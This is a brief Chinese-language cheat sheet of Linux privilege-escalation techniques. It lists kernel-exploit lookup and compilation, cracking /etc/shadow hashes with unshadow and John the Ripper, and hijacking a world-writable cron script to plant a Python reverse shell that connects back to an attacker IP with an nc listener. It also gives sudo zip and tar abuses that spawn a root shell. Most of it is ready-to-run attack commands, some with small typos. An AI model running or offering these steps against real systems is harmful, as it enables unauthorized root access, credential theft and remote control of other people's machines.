1. 内核漏洞提权
查看发行版本: cat /etc/issue cat /etc/*-release
查看内核版本: uname -a
寻找内核溢出代码: searchspoit 发行版本 内核版本
上传内核溢出代码,编译执行 gcc xxx.c -o exploit
chmod +x exploit
./exploit
2. 明文root密码提取
大多linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件相关
passwd里储存了用户,shadow里是密码的hash。passwd全用户可读,root可写。shadow仅root读写。
例如
/etc/passwd /etc/shadow
unshadow passwd shadow > cracked
john cracked
3. 计划任务
一般定时执行的任务由crontab管理,非root用户不可列出,但 /etc/内系统的计划任务可以被列出。
如果其中一个脚本配置成任意用户可写,就可以修改脚本回连rootshell
攻击机启动nc监听端口 nc -nlvp port
脚本代码:
#!/user/bin/python
import os,subprocess,socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("攻击机IP","攻击机监听端口"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
4. 密码复用
模拟终端设备:
python -c'import pty;pty.spawn("/bin/sh")'
使用sudo -l 查看当前用户可以使用root提权的命令信息;
利用zip提权
touch exploit
sudo -u root zip exploit.zip exploit-T -unzip-command="sh -c /bin/bash"
利用tar提权
sudo -u root tar cf /dev/null exploit -checkpoint -checkpoint=1 --checkpoint-action=" /bin/bash"